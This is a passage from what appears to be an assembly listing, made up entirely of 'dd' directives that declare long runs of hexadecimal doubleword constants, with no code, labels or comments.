7C539AC6h, 0C0549EA6h, 713FE589h, 3156C01h, 57F45C88h dd 5C49D3D4h, 0B5029782h, 0A6A15137h, 0A4901C6Ch, 383D5090h dd 253B80A8h, 6EE08BEEh, 9DFE0F4Bh, 2FC0FAACh, 0C747BA83h dd 63092E00h, 14C9748Ah, 8BCE0094h, 60443FB6h, 5C13869Dh dd 0E7186BA4h, 0E56928h, 5BD52BDEh, 0AC7656F7h, 8A618E03h dd 0A465602Fh, 8029C307h, 59C1829Fh, 926E8E03h, 90EFDE86h dd 0F28DAB3Ah, 0D7A300B4h, 9F35AFE3h, 3381A7Fh, 0B3189877h dd 184CA951h, 11BA3424h, 220BE563h, 4A14037h, 76C37DF1h dd 367E3CCh, 0EB2BAB79h, 70B89005h, 3A00B08Eh, 9DD648F4h dd 0E8E484h, 0E5445638h, 99DD0D63h, 34676C00h, 16906E24h dd 21234C4Eh, 0A804FE03h, 90100D3Ch, 5017630Ah, 46B30131h dd 0F48B5943h, 9E00344Ch, 6BCEA56Fh, 6FE191A9h, 0D83319Ch dd 98298B9Fh, 7000A06Ah, 19D512E0h, 0E3473E6Dh, 14319830h dd 3E00901Bh, 9E68B120h, 0FF8BD0h, 775D4BB0h, 4114811Dh dd 63C92514h, 115060A7h, 17DCC7Ah, 5A33A620h, 0C45D7935h dd 0D3FAD690h, 60B24400h, 0CC4932DEh, 97F2011Fh, 993573Eh dd 454415Ah, 90519D8Bh, 8402D92h, 868ABCFh, 0C2FF0171h dd 0F0B750A0h, 771824FEh, 0D8C1752h, 19C67B5Dh, 414ADDE0h dd 9862E06Ch, 4EC91502h, 0A0E53426h, 0FD0565E4h, 1BB800EFh dd 86568158h, 800801Ah, 0FAF76215h, 158336B0h, 9C8512B1h dd 93DD8600h, 0B67A578Bh, 0AA5EC1Ch, 0D4433640h, 0C4CD29h dd 0C5E3C33Bh, 0CA6CC0DAh, 4EF7330Ah, 4805476h, 1CD3D91Dh dd 649C0660h, 0F9415361h, 0A941811h, 97ECBE00h, 193C11EAh dd 93543090h, 0BD005D90h, 0A7E92B6h, 0C25795h, 6ED6C584h dd 0E463B765h, 62F8014h, 7D8A22B0h, 66F9C034h, 3D2A0E99h dd 1C20458h, 8DD0AC43h, 0D7DCD9C6h, 1428C0E6h, 6B0590C3h dd 31F22C00h, 44DC5B0h, 2E58042Ah, 886371F0h, 0DC033EB4h dd 6B42B67Ch, 0DB948055h, 0C8E83D43h, 20791002h, 0CF60185Ah dd 51D994Eh, 610CDEB5h, 1F7D19Ch, 0B36FF1ECh, 0FDFE472Dh dd 1E80405Bh, 3851CEC4h, 82BB4014h, 0A5130C3Bh, 18FE58C1h dd 0D3CB28AFh, 277AB00h, 7C4E146Eh, 0A2483E5Fh, 153F08D0h dd 0E49D6BA7h, 8FD0E01Ch, 0D120A93Dh, 0BBEEC511h, 9E1D9214h dd 893886C0h, 49BF0079h, 0ECEA06DFh, 430073C8h, 1D055754h dd 0A0CCCFD1h, 0A88D34E4h, 0A668B0h, 0EAE29313h, 0B26FD73h dd 1D208F12h, 0D10F4816h, 20222990h, 0F5513354h, 54F20140h dd 359DB3ADh, 433824AEh, 0B206C98h, 0B728C163h, 0C8223E69h dd 0AE0072CCh, 96A291E5h, 75E3D05h, 7A8E4F74h, 599A60A4h dd 4006E7Fh, 0EA65D714h, 70777Bh, 8506C056h, 480B73EDh dd 520028EAh, 7C14F23Ah, 475E5ACh, 499B83A3h, 5DD4C0FDh dd 3C0085F8h, 0D18E1D06h, 0FACEC90Bh, 0A78994Ch, 80AC756Ah dd 0BAC44F6Bh, 420030E1h, 86A5B062h, 3CC059h, 0E81C492Fh dd 997A80AAh, 9F0BB718h, 501B7739h, 21F740Ah, 65B43BD1h dd 0E1E29E9Ch, 1E460C44h, 0C92E6100h, 5B754146h, 1AB3C201h dd 0CC4FB77Bh, 4C43CBDBh, 7AC01C19h, 7EBF8185h, 80B7E93Bh dd 6E43CE35h, 44379E2Ah, 2553C662h, 0F65807E8h, 0E001F148h dd 0FDD85D37h, 432500B6h, 0B31489F8h, 9B000595h, 7D4E6116h dd 3E4044DCh, 18FFB22Eh, 0C18A6028h, 0ED019DD8h, 48410E19h dd 0E0E8BDC6h, 64E8C9F4h, 348B8E81h, 0B7980B4h, 484CF94h dd 3C091B74h, 0B1C928B6h, 63519E18h, 56FBE2C0h, 245B1A35h dd 0D81D76h, 6C33277Bh, 4C0F98C7h, 675182BFh, 53967901h dd 5B740911h, 1090BC40h, 5D0FBB19h, 0A41D8178h, 71C02BF4h dd 69325Fh, 72B74E06h, 2CDB1C2Dh, 0D0268F24h, 943BB68Ah dd 404EF347h, 873A43D3h, 0D6FB0156h, 74A84A99h, 0CB19D76h dd 26221440h, 70C610E1h, 0FD581888h, 0D8502161h, 0F79F0600h dd 0C3D3C087h, 164E12B1h, 9F013CDh, 9C10336Ch, 6CB23C60h dd 0AC3F4301h, 3BB587C9h, 3500DC62h, 0C4F6385h, 6976F6BBh dd 0BC393100h, 0ECFFC4D3h, 0F4E6503Ch, 0D66C401Fh, 3CA2C00h dd 7B239DD1h, 1418C18Ch, 0D27795BBh, 2407E066h, 0B6894D1Ch dd 30BB98Ch, 7A0AB535h, 8BE7F7Bh, 2EF0B0C4h, 0F9F6AC40h dd 0A54C7333h, 74907120h, 1B4CD7F2h, 0CA280920h, 78840676h dd 0F6B62C91h, 0C992403Ch, 71C1709Fh, 0E4E38062h, 695BD030h dd 0FC82F1B6h, 372544FCh, 0E0A87488h, 0B38400D6h, 0D7E6F230h dd 1C008303h, 0D9A3FB7Bh, 0E8DA4072h, 59A205A5h, 81904573h dd 416346F0h, 63CE9538h, 3F0E00F8h, 0B7186D9Ch, 0A8831DA0h dd 6CF98099h, 2EF4FF96h, 22ABE009h, 35E00167h, 48608710h dd 2438036Dh, 99F65DF7h, 0F23BA5C8h, 5400FB98h, 12C4E99Ch dd 0AF5BACh, 231324ECh, 726D3404h, 4279E302h, 0E79DCDD4h dd 0A4580E68h, 0C76D94C0h, 0E11612F6h, 0B0404FEBh, 1BADD507h dd 8BC62E0Eh, 60042698h, 66793BD6h, 0AA5CC31Eh, 2C6880C5h dd 0AC327484h, 704C460h, 0E269FA53h, 7A28CC6Fh, 7B410A40h dd 5526053Fh, 40181A76h, 0C0EAA9E0h, 9A010E10h, 0CC43DF29h dd 0D0509B98h, 4C763F1Ah, 48121C1Fh, 6ADC061Ch, 0CA039977h dd 55F6B80Dh, 0F0728839h, 0C0E8034Bh, 90617CDFh, 0F2C39100h dd 0B1298AEFh, 6DC11DF1h, 0AF16C040h, 6A3FE21Fh, 91F09C61h dd 798E9F04h, 0A0544C9Eh, 97809C88h, 0C18DCB56h, 59CBBCCh dd 5268DC90h, 18ED0008h, 8C341344h, 5A0290A8h, 805CB400h dd 0E8383560h, 0D7F20104h, 28091DFAh, 9EC440C3h, 79D29D36h dd 84D1110Bh, 254086ACh, 9F9A2A5Ch, 0B8E21816h, 0EAAA1000h dd 11F54D05h, 8FBDEFh, 2416520Dh, 4835A7h, 4DFC70C3h, 6821A4C2h dd 0C5C43F00h, 28D3A8C0h, 1830F285h, 684FF2E1h, 7B018A0Ah dd 9E274449h, 81868E42h, 6163BD43h, 0A4FB5B1Fh, 6FBCA080h dd 381CED49h, 0BF8051F5h, 358BB204h, 0B97F24C5h, 4EC86402h dd 64F791C3h, 0B8E3F54Ch, 25E69F95h, 0C421BD97h, 0CCC4B4DAh dd 3172C9B5h, 0F698C202h, 408D133Eh, 0E1A1B89h, 195954FCh dd 7C7AD80h, 730011B1h, 8B89862Ah, 980284E7h, 7ABE1FE4h dd 887DC08Eh, 59CED4D0h, 91A0CF00h, 6BA80BAFh, 43ACA863h dd 0A1F0014h, 0D9789608h, 0A90094D4h, 0A17B5961h, 0EE9ACAF5h dd 0EF84A888h, 0E7AA1D19h, 9E1AC27Eh, 2042417Bh, 15FAD069h dd 2056C00h, 58716E58h, 852248CDh, 0F738604h, 3C907436h dd 800BE90Ah, 1F14CA33h, 628C9455h, 76CA250h, 0B3E02151h dd 3514221Ch, 9482910Fh, 3A5C4445h, 7A446043h, 2ECE588h dd 782E38A7h, 5360F5F3h, 40008172h, 0D112F2E6h, 1488C9EEh dd 740D9E98h, 0CC254300h, 0CD9BA2B1h, 0ADA70100h, 17998BCEh dd 441939BDh dd 0F57960B0h, 0B9582D92h, 0CE6D016Dh, 3409B62h, 409DEC60h dd 8800AF8Bh, 166DD0B2h, 0C3E843h, 5C7BD3ECh, 4EF01BCCh dd 36159804h, 40D266CEh, 99CD2077h, 0E87AD5FCh, 4C972502h dd 0E054E91Bh, 0C0F0B728h, 0E22A63F1h, 0BC12550Ah, 0BC00EA21h dd 77DD3ACFh, 0A4C35418h, 29A405BFh, 211FABC5h, 1192437Ch dd 5180606Ah, 0F26BC1DFh, 4AFE8997h, 0FEC820DDh, 33CA862h dd 833B96A6h, 0D5B07D5Eh, 0A12C7ECh, 0D05D72F0h, 0B71C909Eh dd 0E7CD02Ah, 0BC2AB0A4h, 0C700A061h, 3FDF927Ah, 1E4C111Eh dd 0E31F87h, 9D4284BBh, 0F712C5CCh, 0C229755h, 1F602511h dd 1EFA405Ch, 4F1F3EC0h, 26008774h, 45772857h, 482C6533h dd 384CB408h, 9039818Ch, 3344F051h, 80D538F4h, 96A1449Fh dd 0C00701BDh, 0E828CC20h, 11013405h, 377224FBh, 642469E2h dd 290F6B09h, 0A3150C90h, 0F9A2FE2Ch, 77DB9A02h, 9C7240DFh dd 8CA132AFh, 684086D0h, 43808552h, 2C355871h, 0E225D680h dd 380E8CDEh, 6F8D2A9Eh, 0E3032041h, 1C07CC0Ah, 35A3B1F7h dd 0F50881D8h, 0B92A1011h, 0BE981935h, 0D817E189h, 9C0086F0h dd 4DB536BAh, 15506ADh, 0F804EB96h, 2274DFD3h, 7CD50000h dd 2915E8FEh, 8D5E00FBh, 0E043AAD0h, 5D0A6B1Fh, 0C0619952h dd 45D81440h, 978A0079h, 0D2C9B7C0h, 0E10093A8h, 6B6EFB54h dd 12063142h, 901B7A63h, 90ECA960h, 0E1B1E213h, 0AC70F434h dd 8001750Ah, 0AF7D4230h, 97E5E60Ah, 0BD11E485h, 0FC0544Ch dd 0D11DF7Ah, 0EEA348C2h, 8BCA0F91h, 0C288084h, 7162AAF6h dd 9E2A6C00h, 21AEFA47h, 5B6B37A9h, 77DE0A9h, 884E1E93h dd 4D72B827h, 0F47A35h, 6C967E6Fh, 13C0ECDDh, 0A3BDB500h dd 0F9AF9DD3h, 20F0A641h, 901475AAh, 12861F7h, 761D6B8Bh dd 10702681h, 91E09021h, 0DCBA002Ch, 5E4D0BB6h, 3A3E9300h dd 0C3CFC51Bh, 0C2F72ACAh, 0C7F0A184h, 34646011h, 0B2587B08h dd 507D0026h, 25CBF069h, 1F7C9Eh, 0EF158BF4h, 0C237E1D3h dd 2238894Dh, 0D7E79h, 7C0BE860h, 0B0151238h, 9927B300h dd 92FDFC56h, 945B0063h, 61795E1Fh, 720C7B89h, 9832B709h dd 4D4486DAh, 1458B6h, 0B437E3C7h, 96DA5D55h, 759406F1h dd 24430AC1h, 80B49FC8h, 0D197BD06h, 786174A0h, 0D2AE9249h dd 3939E3C0h, 0F380DDA6h, 0A4441C4Ah, 0EC4A3212h, 7334F420h dd 516700E3h, 464335E1h, 0CB009C0Fh, 4E17E93Ch, 90262F44h dd 32550175h, 53E49718h, 3CB03099h, 0B6205CA4h, 764C0774h dd 8CFD0726h, 24007B21h, 0AFEC486Ch, 0F8DD9B6h, 0C785290Fh dd 99C597E7h, 63DBF880h, 0BF00C2BDh, 1129EC05h, 3084A71h dd 0B1CECDD0h, 38A2DFDAh, 67FAC0E4h, 0C9988600h, 5F8724F7h dd 9AC3B758h, 0AE8CD2BCh, 604FB896h, 31478842h, 246DC096h dd 91163E88h, 5DF4204Fh, 7400338Eh, 0D35E4F7Ch, 14031D4h dd 0E3AD8B07h, 0F49F7A1Fh, 420E5299h, 0E1F3AF34h, 748BB926h dd 53A95285h, 2C6CC8ECh, 0BC4EF612h, 67BB6090h, 535400C8h dd 0CF3C515Bh, 250EF235h, 428B9027h, 8443ABD1h, 21324BB8h dd 0E7E8182Bh, 4CE500A3h, 0BB3FBE0Bh, 7600B5EDh, 0AD656BD9h dd 9EAA841h, 369F945Eh, 0F66FD0C8h, 0BFEE1F16h, 10614409h dd 3A9D68Ch, 464957B0h, 0DFE83494h, 7407828Bh, 16DE975Ah dd 1AE1C827h, 0E3F04962h, 84A90090h, 2E2C4AC7h, 734D6D40h dd 10B8CE2Ch, 9B72CF1Eh, 0D1C3C106h, 9600C8DDh, 10BA8200h dd 31D608CAh, 0E224042Dh, 80612E37h, 95806828h, 0C66FF1C2h dd 0AD007766h, 7A5AAE05h, 8C23A41Ch, 0CF46874Fh, 50D840F2h dd 6585DE9Dh, 200B7856h, 0E3B1CF98h, 0BD13A899h, 0BA37E090h dd 0CFCD0057h, 1EAE0195h, 1205440Ch, 0A0DAE26Dh, 24050BFFh dd 29F7C487h, 9DB2C19h, 177BE839h, 945F143h, 0A1094C28h dd 89537000h, 0C4002380h, 35B7B8A7h, 988FC9F6h, 9A1CA884h dd 616B24B5h, 99FF4070h, 73036FA8h, 0EBD1495h, 437C0A52h dd 87ACF10Fh, 2998202Fh, 81766306h, 0EE054375h, 0CF254259h dd 2300ACE2h, 0B1AE03DDh, 2E00BF45h, 9D93E86Fh, 5C4CE56h dd 5F63CD2Ch, 259032B7h, 0CDEA449h, 98588ADAh, 0AC9844h dd 5D9CD556h, 64299B7Ah, 0B5F63B0Bh, 154CA29Dh, 800873B9h dd 12EE0E4Fh, 0F2073BE7h, 98876223h, 205A7D0h, 856102CFh dd 12C00832h, 8BF5DC82h, 0FB267721h, 618E8C3Ch, 7E978100h dd 43005931h, 0EA46FE07h, 22C5D05h, 0B1D3CD3Bh, 0FC917B17h dd 955E109Dh, 0AC0B0019h, 0B4E92557h, 0E7FE6D91h, 82DB801h dd 988DD223h, 88BCA860h, 51DE243h, 1F045551h, 0B8B08E36h dd 204024Ch, 8745B0E7h, 0CC4CDCCEh, 9DF44870h, 7715E0Bh dd 2882CE0h, 0B6F7CB64h, 62EFB499h, 85EB805Ch, 0FE03EADDh dd 517400F7h, 0E1543990h, 0C113D8A9h, 0C4046C8Bh, 9105690Eh dd 48304405h, 0E024F1A2h, 0A02D6640h, 1920A36Bh, 1EA1C0A9h dd 8EF8A16Eh, 0B689CB0Ch, 2A54DADAh, 1A067BDh, 4C801693h dd 0F1E9D61Eh, 42D52014h, 6620E090h, 0D46B5259h, 6801993Dh dd 7A115F9Eh, 0C9F8F351h, 9499B326h, 254DCE85h, 68C1D0C0h dd 0BA90C8CDh, 0A9427064h, 28EBB01Eh, 35108F92h, 6AB4A921h dd 0AA0F8C69h, 36206574h, 359C9754h, 0C72832F0h, 8E229868h dd 0B80A5861h, 9919FCEh, 1AF23AC6h, 0E4488BB8h, 988C0068h dd 0DB60D6D9h, 0E33D3EC3h, 9E190618h, 0A585163h, 7A1B776Ch dd 530A42A4h, 0E616822Fh, 0D85361h, 0F9B0FFEFh, 303A0A25h dd 34FC3044h, 4842924Eh, 0CF104CCBh, 929788D3h, 0BA4804C6h dd 12B705B2h, 4C210E2h, 0B898B227h, 762F4F26h, 0F7201015h dd 60CCC9B1h, 2CCE9C48h, 0E51549C5h, 0AF0598A2h, 5D666028h dd 2C9BC094h, 0E5DBF446h, 0C00775ECh, 309AF6BCh, 8256C1B0h dd 437C0213h, 0B3AEF00Ah, 0B6048459h, 10B36CC2h, 0E2D9007Dh dd 8446EFEBh, 1A90CB6Bh, 10947F48h, 1E88E44Ah, 91F5D81h dd 0F46CE7CCh, 111CA02Ch, 3CA73D62h, 5D5A9F9Bh, 7EC47A5Dh dd 6488BC43h, 722E0C8h, 10F596Ah, 0AAA630C4h, 4E24CC79h dd 9C6ADCA2h, 197A6404h, 8A9F9CA8h, 66C8CB08h, 4325312Eh dd 0FF30A0BDh, 42614h, 3728AD5Fh, 74A81A67h, 0E4A7AE02h dd 18BE5BD7h, 0E200BDBBh, 0EA306443h, 286D382h, 2FA1AEA0h dd 2862B8F1h, 402069h, 0F89D8799h, 0A62E016Ah, 0DF184668h dd 221C721Bh, 0AF77153Eh, 0EC40B084h, 1A0CA098h, 1712E907h dd 0E1AD7881h, 2865ED37h, 7642A148h, 3098670Ch, 0B8899300h dd 52390581h, 4BED3C58h, 8D2A9A80h, 1042241h, 0BC5A9105h dd 5C84236Dh, 0C00BBCE0h, 0A6C98A71h, 37483543h, 0CD8980B0h dd 122B7h, 0C7FD1234h, 73D15BC1h, 4F5490BAh, 50993B74h dd 83DB1443h, 4AFBC811h, 945A0C2Ah, 96D8E816h, 9CFC5144h dd 71D05374h, 92C21F2h, 7301B824h, 499233BDh, 0EC9EECh dd 66F8951h, 0AE41CA88h, 4781200h, 0B7809F59h, 0E00A6B09h dd 0B46C0CCh, 86D3E450h, 5C88534Ah, 80B754ADh, 90EC3DBFh dd 4D1D7A01h, 321EB1CDh, 342A0820h, 0BBE98FB8h, 77EE7FA0h dd 481EA042h, 2217C27Dh, 19E59800h, 920E3EAh, 84091DA9h dd 92CFF023h, 285925E2h, 69A6E360h, 4E040109h, 92EE6DF2h dd 0A3B990B0h, 0E4A85BC8h, 0E020634Bh, 0F26B9CDh, 273F58AEh dd 0ECA2534Bh, 3827703Ah, 4271B590h, 0D6F9079Fh, 7003AC3Ch dd 0ECB7EA7Eh, 88C6C500h dd 0F62D9389h, 0E832954Eh, 32DFBC84h, 0E2902136h, 0B2341146h dd 4243D980h, 7557BC7Dh, 945BE900h, 0AD1FEA4Ch, 245E2EFCh dd 4D412CEh, 0B8AEE0Ch, 4CB49C64h, 304CD436h, 0B06FC4A0h dd 62A82900h, 0E7ADBB70h, 647499C2h, 9E6C906Ah, 49D78943h dd 0E856C080h, 21B8BA66h, 1B10E492h, 0DE6FE380h, 4F12F134h dd 141D4BE2h, 50138829h, 0B17C8004h, 32C06414h, 0C69A8335h dd 48B4D45Ch, 0AC41965Ch, 16F7CA28h, 22483852h, 46EF0B6h dd 73425Fh, 9231D0FEh, 399F0417h, 0AC273685h, 6239BFh dd 2E046FD2h, 0B50FAh, 759AD4FBh, 0CC6D7B58h, 84F6B119h dd 0A0E02A49h, 30B974h, 4C5B6801h, 230042FFh, 0DDABD834h dd 13976D5Dh, 80EEC62h, 0DABA6C40h, 2DC33802h, 0B4A12492h dd 1D22B13Ch, 10A128Bh, 488404ABh, 154404A8h, 0DEC01414h dd 8C04BD39h, 0BEB35700h, 0A664CDA3h, 0C522072Eh, 1B7CCAB2h dd 6F40F0ECh, 9911CE66h, 0A54894E0h, 70002C75h, 9F8CD92Dh dd 0B3ED9Ch, 0DA6625DDh, 3B0828FBh, 9C60D148h, 45E30861h dd 140B344h, 5C122367h, 3B791500h, 0F6F0D4F8h, 0F4A6097Ch dd 0D080A58Ah, 4E66461Fh, 0E66340B4h, 9D26884Ah, 0FB7EB1h dd 4F4CF931h, 672950C7h, 0A0C0255Ch, 53377371h, 8122A86Bh dd 0E440344Ah, 0D179FF88h, 3D1C003Ah, 0C711D332h, 0DC3E1E13h dd 1050585Dh, 26264259h, 5D60008h, 0A270D011h, 28D4A197h dd 1AF0C2CDh, 0E4530B4Fh, 9C04A90Dh, 6E14061h, 9C3980h dd 193C3DB3h, 0CE9B1F56h, 4C91AB3Fh, 90348B38h, 7D4504h dd 0A3C4D66Eh, 664ADD06h, 0E5BC3200h, 0A6F194ECh, 0AC0C07A4h dd 709B5302h, 0D48FBD26h, 298A0748h, 5991C803h, 0F01F9A02h dd 0E4448CC2h, 0B2077F4h, 97304A63h, 99C9CFA8h, 91371451h dd 34811CC4h, 0B830672Ch, 0E3E80228h, 0C77AA806h, 402EBC98h dd 0B40CF389h, 8788F8Ah, 0D06A1786h, 0E6D97050h, 20C45301h dd 0FE7AEE24h, 8C69BC41h, 0E2561510h, 98866828h, 2C460924h dd 1C5D2B50h, 4E4D9045h, 1A408639h, 733B70D5h, 540B7F0Eh dd 9025CB29h, 95F82010h, 90CB6018h, 0D18E4C1Eh, 0A2541E00h dd 7B9E4170h, 0E8B300D3h, 8638C537h, 0C1C40BB1h, 74D21363h dd 1176199Ah, 202BE1B6h, 8B9E1BDCh, 0A45C664Ah, 60271AD1h dd 1C2D9420h, 3D00AC04h, 0E6DC9B0Eh, 0A06B1A9Ah, 8822F0BCh dd 38099835h, 455506E2h, 5B491E8h, 0AE0731EEh, 0D2677491h dd 6A897A08h, 3B07B469h, 506CC019h, 9F565511h, 0AA3ADB00h dd 0EF8C33F1h, 2678B021h, 0E09C505Ah, 0E04FC30Fh, 5C8FDE02h dd 0E41E77CAh, 0ECB62978h, 0D0BD13F0h, 0B75B557Ch, 3156140Bh dd 122C4E52h, 88B91876h, 4801C7CCh, 107EC346h, 94704CE0h dd 211A420Bh, 1621123h, 0B39F4CFAh, 0CFD03854h, 68F50530h dd 0A00E1FF6h, 1D2FB714h, 8BA01062h, 457301CAh, 356CECB8h dd 0ADAC500Ah, 83043B2Ch, 0AC8AD54Bh, 950B00ABh, 96ABA3AFh dd 0D8C58900h, 5E812CCh, 0BB441E5Ah, 0C42354E3h, 8043312h dd 53649BC4h, 6D67A15Eh, 81683809h, 0A1C200A7h, 6B8C65ADh dd 0DD001B9Ah, 0F0ACB328h, 0C27496Ch, 0BC1A1FE2h, 244E0548h dd 0B1374028h, 34600008h, 2497690Dh, 0E7708900h, 5578B0E0h dd 3BF90210h, 0D2643516h, 0D02F1848h, 90264484h, 0BC4BF024h dd 0D643E544h, 7AF01872h, 7600192Ah, 0AC71FF12h, 26EDFDBh dd 0C08D5D13h, 70734391h, 63882A90h, 0A09ACB80h, 1F8C5EEh dd 4C925672h, 0F355F63Bh, 0CA6E380Bh, 43581A4Ah, 40C8BD78h dd 1C8C01EBh, 18479991h, 88A8281Fh, 30514E24h, 0C715569Ah dd 37580071h, 0B13FE757h, 912E2C3Eh, 0A0B14F4h, 1904C99Dh dd 99731432h, 0EB130A60h, 832600F2h, 0D9906253h, 1298783Ah dd 0C4203727h, 0DAD06CCh, 1E91A85Bh, 0AB85F089h, 2DB2251Fh dd 207510F0h, 0AD76254Fh, 0CF06C91h, 74B08414h, 0CB256243h dd 6507944Eh, 0E9EA072Eh, 68DB4230h, 61D6023Fh, 8610A457h dd 0C30418E0h, 9E783380h, 0A46BE5E8h, 0CD031E30h, 3DA5FA48h dd 9E18E88Fh, 1D970EFBh, 414035FDh, 76F7D4F6h, 6064F4B9h dd 0DA03E4FDh, 9A1EA8DBh, 0E8834DB2h, 300A2EFDh, 0E868DC72h dd 0BD86DF63h, 0F764488h, 883F8380h, 4053E3E0h, 80A13CB8h dd 94210C7Ah, 0C8B4641Ch, 0DA1FB194h, 0E7C0B38Eh, 437B53C6h dd 0C0275535h, 0CEC8DC01h, 0A860BEC5h, 4684BD0h, 21E48FC4h dd 0C0492ED1h, 3FA07038h, 31020644h, 9422E45Fh, 401741C7h dd 3ADA6FF4h, 4C931EBEh, 63E482BAh, 9A803C5Ch, 0B674FC41h dd 479E003Dh, 783425B5h, 0A3008F56h, 9412AFFDh, 8BF215h dd 6F20C65Bh, 18B8A268h, 3D956700h, 1ABB232Dh, 0B0771E32h dd 46C5C05Bh, 0E2F9E5AAh, 668741BDh, 0B8BA0CE4h, 0D28F0D8Fh dd 0E0605540h, 8DFDF5Fh, 6B69DB00h, 24D30825h, 0D4BFDAh dd 8F4E7522h, 983037C5h, 2F8941BDh, 6B8300A5h, 0D1BC4818h dd 78005CD3h, 0E05771E8h, 0CEDDA1h, 1E94EDEBh, 0AEC4FC6Eh dd 0FAE6EF00h, 5186E97Ch, 1C0D1846h, 18D850C8h, 0E10ECC02h dd 88B954EDh, 0D8080BFh, 0D2E78036h, 559F0EA5h, 0CF636C0Eh dd 4890AD8Eh, 0B3074504h, 99365BCCh, 0CBA14Ch, 3001DAA1h dd 8A4EEB1Ch, 29B40700h, 1033A77Fh, 0A24639EEh, 0DBA0F800h dd 70FAE712h, 10104CA9h, 0A94CF1C3h, 36892F94h, 0D80D6E6h dd 49CD6612h, 570730E6h, 0DD1FB94Dh, 4AA893h, 0DEF6A31h dd 6FE39A28h, 0CB795700h, 0EEFB2CFEh, 0F207020Eh, 50C99902h dd 4A85E800h, 0F97A6369h, 0BF901929h, 2200FC84h, 7D09891Ch dd 6499E1D9h, 3744B0C6h, 606849BCh, 2194414Ch, 790052A6h dd 4E07A510h, 565C37Bh, 2D0EC220h, 0DCB407EEh, 97D5F47Ah dd 5257D100h, 0BA40AC51h, 1C19B118h, 0E0ACAB65h, 0C13A5C0h dd 0B07DF9D3h, 39224520h, 6DC00A1h, 2AAF9EA4h, 4C31C344h dd 45A85155h, 0BC0F3180h, 0D59FA679h, 0C5A15800h, 9B9D788Bh dd 0F95606D2h, 0D8BFCA4Fh, 59CB5530h, 1C2880C3h, 0E6658830h dd 48221Eh, 1FD920ADh, 9FE40E1Ch, 0D2BA7206h, 717165C4h dd 0DC450630h, 39A25646h, 0DC829D2Ah, 0CB54A102h, 90C27ACDh dd 62EF84h, 0CCF1380h, 299AD172h, 0A63B3824h, 0FD539D3Fh dd 84FE4D03h, 0EDF008A0h, 94912B58h, 31FF7A1Eh, 8FCA9851h dd 0A3701279h, 0F82AD713h, 19DCFDF5h, 4059359Ch, 76B891B0h dd 1205F28h, 0E9A0C07Fh, 0C8D2B4F5h, 0BE070793h, 55F986DAh dd 0F070B916h, 57A788E3h, 0AD54EFFAh, 40A03AA4h, 10924468h dd 1CCD6E48h, 691EFBEEh, 0A920CA18h, 0C3281D11h, 67C9F023h dd 9300A2D0h, 0C0F3DFB0h, 5019A414h, 88987859h, 0B9C041A8h dd 0AF7F0CF0h, 1511012Dh, 4F565FE7h, 584BE2D1h, 0EC4CC288h dd 0B2B92283h, 8ED8B302h, 90B04A9Ch, 4015FB88h, 0C31A30B1h dd 4039C54Dh, 0C0DC31ADh, 0DBC4C0D9h, 38C0D72Ah, 59DE6310h dd 87FD16E5h, 616B007Eh, 6F110B30h, 4AF12801h, 0D10E413Fh dd 8ED24184h, 0BA88C842h, 0A0B2188h, 85B69187h, 0DFF510F4h dd 5C1F4CA2h, 4A259D08h, 0E7190F18h, 948A00DEh, 381901D4h dd 8C549C69h, 7214F5B4h, 80F058BCh, 8899B74Bh, 0F1EE0074h dd 0A77BA894h, 0AC240E11h, 6456898h, 8C45844Fh, 2AC3B9B9h dd 7BC47AEh, 6BA62DCBh, 0DF79C039h, 260E86A4h, 814EA191h dd 0C11131B2h, 87F29441h, 0A0106207h, 57C7A8A0h, 6972F47Ah dd 0C0991973h, 9B260900h dd 0FC0DEEA1h, 30200054h, 31679493h, 9E012C29h, 0A2D2F18Fh dd 0F030ED48h, 11448674h, 34D150D2h, 4D5513ABh, 9824FDh dd 0F28BB660h, 0AC3F69C8h, 88E080F1h, 0C3BB944Bh, 589A1540h dd 0CA0098DCh, 0E5F0F5F3h, 0EA03AA62h, 0C8719D5Ah, 6B1BD8FBh dd 13C1FE3Ch, 34651EFAh, 0FC5C80B0h, 4F0CC373h, 915AFBD3h dd 0C126248Dh, 0F0E9146Ch, 7A8693C8h, 2479B4DBh, 404056C2h dd 0A13B4013h, 11F6A788h, 1CC62DBh, 30B394EEh, 0A4507569h dd 0E77DC4Fh, 0E553D6C0h, 0A980ACAh, 61C0D2FCh, 32AEC5A2h dd 204B01ACh, 5478DEC4h, 421CF830h, 0C81F15EAh, 87EE103Ch dd 5A4EC39Fh, 38AA6773h, 0C4989044h, 0C0D3DD04h, 0F88A0166h dd 29D09918h, 0C900C49Dh, 839AE76h, 706B02A3h, 904D5C06h dd 0C94E026h, 985905A5h, 0D2398460h, 1CCA9C59h, 0E6204E99h dd 50B40DCh, 0A30262F2h, 0B10EC1F6h, 77944978h, 6D138C50h dd 0BA88073Ah, 0B763EDF1h, 0ECA04F95h, 0B7CC6B5Ah, 0C09C8948h dd 0C348BE8Ah, 441C98A2h, 0FA0CEFFDh, 207F9373h, 571A0F31h dd 9C404512h, 0BF993067h, 0E2CA91C7h, 0E8477D73h, 147BBBh dd 9B8EA6Ch, 871899Fh, 0F659240Ch, 5C107077h, 0DC05B4D3h dd 73AF462h, 8875B584h, 68020391h, 0B02EF955h, 8831D0A4h dd 0A819DB0Ch, 37C0A324h, 20005073h, 397D44EAh, 9D003B30h dd 17381B36h, 301EC47Fh, 6929D699h, 34009077h, 8148539Ch dd 986142Ch, 43AEF4A5h, 19C01C20h, 1100CF3Ah, 9351842h dd 79406B5Bh, 5CD44C32h, 88C98610h, 2E678081h, 976E7231h dd 6BF1BE1Dh, 45DD9201h, 0D8301168h, 872908CDh, 0E4265051h dd 0EC61840h, 98447FEBh, 798D3AD0h, 0D584540h, 66C381B0h dd 0A44C3A58h, 0B15B60F9h, 4A9132DEh, 54C32B0Ch, 371590Ch dd 65354697h, 60820E12h, 66FB7C68h, 0F61D3h, 0F631D857h dd 11389A4Dh, 118729F0h, 4711C6E4h, 0C15F124Bh, 0A031144Ch dd 532A03B4h, 0E70692F9h, 69A045D0h, 0B164BF90h, 208037E0h dd 689103h, 120E25E0h, 385B144Fh, 895CC873h, 8E059E8Ch dd 188858BEh, 2A4FC2Ch, 0D34D2F31h, 0DC618D57h, 5AB118Fh dd 0A423F8F1h, 0C239FB30h, 5158574Ah, 40BCA288h, 2A3B642Ch dd 64C9F4h, 0A1051048h, 0C6EB81B4h, 0D915A900h, 0E8654FDCh dd 0BCBA00C4h, 83796FF9h, 0AE06ECAh, 0F109FA74h, 8E47CEh dd 59B453A5h, 0B36406C5h, 189B09D9h, 1200FD76h, 0B2B77CA5h dd 7C947624h, 4CC50B8Fh, 805DD53Ch, 1655893h, 